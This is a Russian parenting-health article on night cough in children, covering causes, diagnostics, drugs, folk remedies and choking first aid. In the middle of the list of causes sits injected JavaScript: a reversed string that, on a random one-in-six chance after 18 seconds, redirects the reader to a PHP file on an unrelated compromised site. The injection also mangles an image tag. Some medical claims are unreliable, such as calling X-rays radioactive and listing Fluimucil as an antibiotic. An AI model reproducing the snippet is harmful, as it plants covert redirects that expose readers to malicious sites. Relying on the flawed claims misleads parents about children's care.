Ночной кашель — частый спутник различных заболеваний в детском возрасте, в том числе опасных. По его характеру, а также другим признакам, родители могут предположить тот или иной диагноз. Информация о возможных причинах и методах лечения кашля поможет вам не растеряться в трудной ситуации.
Содержание
Что из себя представляет ночной кашель у детей
Кашель — рефлекс, при помощи которого дыхательные пути освобождаются от секрета, бактерий. Кашель у ребёнка может появиться в любое время суток, однако всегда усиливается в ночное время. Это связано с тем, что при нахождении человека в горизонтальном положении сужаются бронхи, уменьшается приток крови к лёгким, затрудняется отхождение мокроты.
Ночной кашель, вызванный обычной простудой, проявляет себя «мягко» и не представляет угрозы для ребёнка. Если рефлекс появился из-за опасных заболеваний, то симптоматика выраженная. Длительные приступы такого кашля могут вызвать остановку дыхания и летальный исход.
Виды ночного кашля
По характеру симптоматики ночной кашель бывает:
- сухим. Такой кашель мучителен для детей. Вызывает раздирающие боли в горле и груди, проявляется в виде приступов;
- мокрым. Сопровождается отхождением мокроты.
В зависимости от длительности проявления рефлекса кашель может быть:
- острым. Продолжается менее трёх недель;
- затяжным. Длится более 21 дня.
Затяжной кашель всегда опасен и указывать на развитие различных хронических заболеваний у ребёнка.
Факторы-правокаторы ночного кашля у детей и сопутствующая симптоматика
Кашлевой рефлекс ночью у ребёнка вызывают такие причины:
- гайморит — воспалительный процесс в гайморовой пазухе. При заболевании кашель сухой, возникает при засыпании и под утро. Сопутствующие симптомы: хроническая заложенность носа; повышенная температура тела (37 градусов и выше); пульсирующие боли в области головы и переносицы, которые усиливаются ночью; выделение из носа секрета гнойного характера; снижение аппетита; быстрая утомляемость; бессонница;
- бронхиальная астма — тяжёлое заболевание органов дыхания, при котором происходят периодические спазмы бронхов. При астме развивается сухой кашель, который ночью значительно усиливается. Симптоматика сопровождается приступами удушья. Ребёнку тяжело сделать вдох и выдох, дыхание становится прерывистым;
- аллергия на пылевого клеща, шерсть домашних животных, продукты питания. Самый распространённый аллерген, вызывающий ночной кашель — пылевой клещ. Паразиты обитают в матрацах, подушках, одеялах, коврах, мягких игрушках. Во время сна ребёнок тесно контактирует с вероятными «домиками» пылевого клеща. Ночной кашель при аллергии сухой, приступообразный. Может сопровождаться насморком, чиханием;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/09/pylevoy-kleshch-728×582.jpg» alt=»Пылевой клещ» width=»728″ height=»582″ /> Пылевой клещ — паразит, провоцирующий ночной кашель аллергического характера
- ОРВИ — острое вирусное заболевание, затрагивающее органы дыхания. Кашель при ОРВИ появляется в любое время суток, однако усиливается ночью. Когда человек лежит, секрет из носа попадает в глотку и провоцирует приступы кашля. Другие особенности ОРВИ — заложенность носа, лихорадка, слабость, отсутствие аппетита, боль в горле;
- ангина — поражение бактериями нёбных миндалин. Кашель при ангине бывает сухим и мокрым, возникает в любое время суток. Дополнительные признаки патологии — температура выше 38 градусов, сильная боль при глотании, слабость, увеличение подчелюстных лимфатических узлов, появление белого или жёлтого налёта на миндалинах;
- ларингит — воспаление слизистой оболочки гортани. В начале заболевания у ребёнка возникает сухой «лающий» кашель, который по мере выздоровления трансформируется в мокрый. Другие симптомы — болевой синдром при глотании, набухание подчелюстных лимфоузлов, температура тела варьируется от 37 до 38 градусов, быстрая утомляемость, безразличие к еде;
- бронхит — инфицирование болезнетворными микробами бронхов. При бронхите возникает сильный кашель с интенсивным образованием и выделением густой мокроты. А также может повышаться температура тела, болеть горло, возникать хрипы при дыхании;
- воспаление лёгких — опасный недуг, характеризующийся проникновением вирусов и бактерий в лёгкие. Кашель может быть как мокрым, так и сухим. При мокром кашле выделяется густая мокрота зелёного цвета с гнилостным запахом. Иные характеристики патологии: высокая температура (38,5 градусов и более), которая плохо снижается после приёма жаропонижающих препаратов; спутанность сознания; повышенное потоотделение, непереносимость физических нагрузок, тошнота, рвота;
- аденоиды — разрастание носоглоточной миндалины до патологических размеров. Кашель может днём отсутствовать и появляться только ночью. Сопровождается рефлекс «хлюпаньем» в носоглотке. При аденоидах ребёнок постоянно ходит с открытым ртом, так как нос не может нормально дышать. Ночью ребёнок храпит. Отмечается изменения тембра голоса: появляется хрипотца и гнусавость. Если аденоиды значительно увеличились, то у ребёнка снижается слух;
- коклюш — поражение коклюшной палочкой дыхательных путей. Начальная фаза болезни сопровождается сухим кашлем, насморком, нервным перевозбуждением. Через неделю после старта недуга кашель приобретает спазматический характер. Приступы настолько мучительны, что у ребёнка самопроизвольно текут слёзы и слюни, синеет лицо. Во время кашля ребёнок не может дышать. Иногда кашлевые приступы заканчиваются обмороком. Дополнительные симптомы — отёки на лице и теле, тошнота и рвота, свистящих звук при вдохе;
- желудочно-пищевой рефлюкс — движение содержимого желудка обратно в пищевод. Такое состояние может развиться и у здорового человека, но только сразу после приёма пищи. Если проблема возникает в другой период времени, в том числе и ночью, то это говорит о патологических причинах. Заболевание вызывает сухой кашель, который сопровождается срыгиванием. Сопутствующие признаки — охриплость голоса, тяжесть в груди, одышка, затруднённость при глотании, изжога, горечь во рту;
- попадание инородного тела (кусочки пищи, камешки, бусинки, пуговицы) в дыхательные пути через рот или нос. Эта проблема в основном встречается у маленьких детей. Если инородное тело локализуется в области гортани, то появится симптоматика: судорожный кашель, затруднённое дыхание. При попадании предмета в трахею у ребёнка синеет лицо; развивается слюнотечение; появляется кашель с мокротой, в которой может присутствовать кровь;
- сухость воздуха в квартире.
Скорую помощь нужно вызывать в таких ситуациях:
- при попадании в дыхательные пути инородного тела;
- если появились признаки нарушения дыхания;
- при обнаружении гноя и крови в мокроте;
- если невозможно сбить высокую температуру;
- при обильной рвоте.
Самые опасные причины ночного кашля у детей — приступ бронхиальной астмы, воспаление лёгких, коклюш, попадание инородного тела в дыхательные пути.
Диагностика ночного кашля у детей
Диагностика поможет выяснить причину ночного кашля у ребёнка. На основании медицинских исследований врач поставит верный диагноз и назначит лечение. К возможным лабораторным методам исследования относятся:
- общий анализ крови;
- биохимия крови;
- бактериологическое исследование крови для определения возбудителя заболевания;
- общий анализ мочи;
- анализ мочи по Нечипоренко;
- исследование мазка из ротовой полости;
- кожные аллергопробы.
Инструментальные методы диагностики ночного кашля у ребёнка могут в себя включать:
- бронхоскопию. Назначается при бронхиальной астме, нахождении инородного предмета в дыхательных путях, обнаружении крови в мокроте, подозрении на патологию лёгких. При помощи бронхоскопа (медицинский прибор, состоящий из трубки и осветительного оборудования) специалист оценивает состояние бронхиального дерева (основная система органов дыхания), слизистой оболочки дыхательных путей;
- ультразвуковое исследование лёгких и бронхов. Проводится при хрипах в лёгких, длительном кашле, болевом синдроме в грудной клетке, кровохарканье;
- рентген грудной клетки. В связи с опасностью радиоактивного излучения, рентген у детей применятся редко. Например, когда УЗИ лёгких и бронхов не дало достоверных результатов;
- УЗИ желудочно-кишечного тракта. Используется при желудочно-пищевом рефлюксе.
Лечение
К методам лечения ночного кашля у детей относятся:
- медикаментозная терапия;
- физиопроцедуры;
- хирургическое вмешательство;
- средства народной медицины.
Применение медикаментов
В большинстве случаев базой для лечения ночного кашля у детей является лекарственная терапия. Врач может назначить такие медикаменты:
- антибактериальные средства (Ампициллин, Левомицетин). Антибиотики уничтожают болезнетворные микробы при инфекционных процессах. Применяются при ангине, бронхите, воспалении лёгких, коклюше;
- противокашлевые препараты (Синекод, Стоптуссин, Гликодин). Назначаются при сухом раздражающем кашле;
- муколитические средства (Бромгексин, АЦЦ, Флуимуцил). Используются при густой и вязкой мокроте;
- противогистаминные препараты (Зодак, Цетрин). Применяются при кашле аллергического характера, коклюше, ОРВИ;
- лекарства для полоскания горла (Фурацилин, Хлорофиллипт);
- жаропонижающие препараты (Ибупрофен, Панадол).
Важно знать, при каких значениях нужно сбивать температуру у детей. Так, у малышей до трёх месяцев эти показатели составляют 37,5–38 градусов. У деток в возрасте от трёх месяцев до года критическая температура — 38 градусов. Более взрослым детям жаропонижающие средства следует давать при температуре 38,5 градусов и выше.
Физиотерапия
Для лечения ночного кашля у детей применяются физиопроцедуры:
- электрофорез, который показывает отличные результаты при мокром кашле с выделением густого секрета, ларингите, бронхите. Во время процедуры лекарственный препарат под воздействием электрического тока попадает в ткани, где развился воспалительный процесс. Достоинства метода — точность введения лекарственных средств в нужную область, пролонгированное действие медикаментов, отсутствие побочных эффектов, возможность одновременного применения нескольких видов препаратов. Электрофорез не назначается при астме, лихорадке, онкологии;
- ингаляции. Помогают при ОРВИ, ларингите, бронхиальной астме, кашле аллергического характера. В качестве ингаляционных растворов применяются бронхолитики (лекарства для лечения бронхов) — Беротек, Атровент, муколитики — Амброксол, Амброгексал, Ланзолван, антибиотики — Флуимуцил, Гентамицин. Полезные свойства процедуры: увлажняет слизистую оболочку дыхательных путей, смягчает кашель, способствует разжижению и выведению мокроты, оказывает противовоспалительное действие. Противопоказания — высокое артериальное давление, предрасположенность к носовым кровотечениям, лихорадка, заболевания сердца. А также запрещено использовать ингаляции с антибиотиками для лечения детей младше двух лет;
- УФО-терапия. Во время процедуры на патологический участок ткани воздействуют при помощи ультрафиолетового излучения. УФО-терапия оказывает антибактериальное действие, ускоряет обменные процессы, снижает болевой синдром. Показания: гайморит, синусит, аденоиды, бронхит. Процедура запрещена при злокачественных образованиях, язве желудка, высоком давлении, туберкулёзе.
Народные средства
Облегчить приступы ночного кашля помогут народные рецепты:
- Вскипятите 200 мл молока, добавьте по 1 чайной ложке сливочного масла и мёда. Перемешайте компоненты. Дайте выпить средство ребёнку перед сном.
- Доведите до кипения 150 г молока, добавьте 1 столовую ложку травы шалфея. Настаивайте смесь на протяжении часа. Употреблять настой следует после ужина.
- Во время приступа ночного кашля дайте ребёнку пожевать лист золотого уса.
- Смешайте в одинаковом количестве мякоть банана и сахар. Способ применения — по 1 чайной ложке перед сном.
Перед использованием любого народного средства проконсультируйтесь с лечащим врачом.
Как облегчить ночной кашель у ребёнка: общие правила
Чтобы снизить неприятные симптомы у детей в ночное время придерживайтесь рекомендаций:
- проветривайте помещение перед сном;
- пользуйтесь увлажнителем воздуха;
- укладывайте ребёнка на высокую подушку;
- при кашлевом приступе поднимите малыша и удерживайте вертикально.
Что делать при попадании инородного тела в дыхательные пути ребёнка
При попадании инородного тела в дыхательные пути первым делом нужно вызвать скорую помощь. До приезда медицинской бригады оцените симптоматику:
- если ребёнок кашляет и в состоянии дышать, значит ситуация не очень опасная. До приезда скорой помощи расположите ребёнка в вертикальном положении;
- если кашель прекратился и появились признаки удушья, реагируйте незамедлительно. Откройте рот ребёнку и прижмите язык указательным пальцем. При визуализации инородного тела аккуратно извлеките предмет. Вслепую доставать инородное тело запрещается.
Если попытка извлечь предмет из дыхательных путей не увенчалась успехом, действуйте таким образом:
- Разместите ребёнка у себя на коленях так, чтобы голова малыша располагалась ниже туловища.
- Основанием ладони выполните 5–7 ударов между лопатками ребёнка.
- Переверните малыша на спину, 5–7 раз надавите на центральную часть груди ребёнка.
- Откройте рот малышу. Если стал виден инородный предмет, попробуйте его достать.
В критических ситуациях сохраняйте спокойствие и не впадайте в панику, ведь от адекватности ваших действий зависит здоровье и жизнь ребёнка.
Видео: как снять приступ кашля у ребёнка
Возможные осложнения
Сильные приступы ночного кашля могут вызвать такие последствия:
- непроизвольное мочеиспускание;
- кровоизлияние в глаз. При сильном напряжении во время кашля у ребёнка может лопнуть глазной сосуд. Обычно заболевание проходит самостоятельно через 7–10 дней;
- остановка дыхания. Очень опасное явление. Без своевременной медицинской помощи может закончиться летальным исходом.
Правила грамотной профилактики
Чтобы снизить риск возникновения ночного кашля у ребёнка, выполняйте простые правила:
- закаливайте ребёнка. К методам закаливания относятся воздушные ванны, обтирания, хождение босиком. Закаливать детей можно начинать уже в грудничковом возрасте. Процедура повышает иммунитет, и, следовательно, снижает риск инфекционных заболеваний;
- откажитесь от перьевых подушек, в которых всегда обитают пылевые клещи. Выбирайте гипоаллергенные подушки с такими наполнителями, как бамбуковые волокна, гречневая лузга;
- меняйте постельное бельё ребёнку не реже 1 раза в неделю. Стирайте постельные принадлежности при температуре 60 градусов и выше: в таких условиях погибают пылевые клещи;
- приучайте ребёнка вести активный образ жизни. Физические упражнения укрепляют защитные силы организма;
- доводите до конца лечение всех заболеваний у детей. Даже кариес или обычная простуда в запущенном состоянии способны вызвать бронхит, трахеит (воспалительный процесс в трахеи), гайморит.
Современными медицинскими исследованиями доказано, что закаливание активирует кровообращение, улучшает обмен веществ, нормализует сон. Это вид профилактики имеет древние корни, ведь он успешно применялся сотни лет назад целителями Древнего Рима.
Не запускайте ночной кашель у ребёнка, ведь в некоторых ситуациях он может быть проявлением опасных болезней. При первых же симптомах посетите педиатра, который назначит ребёнку нужные диагностические мероприятия и подберёт верное лечение.
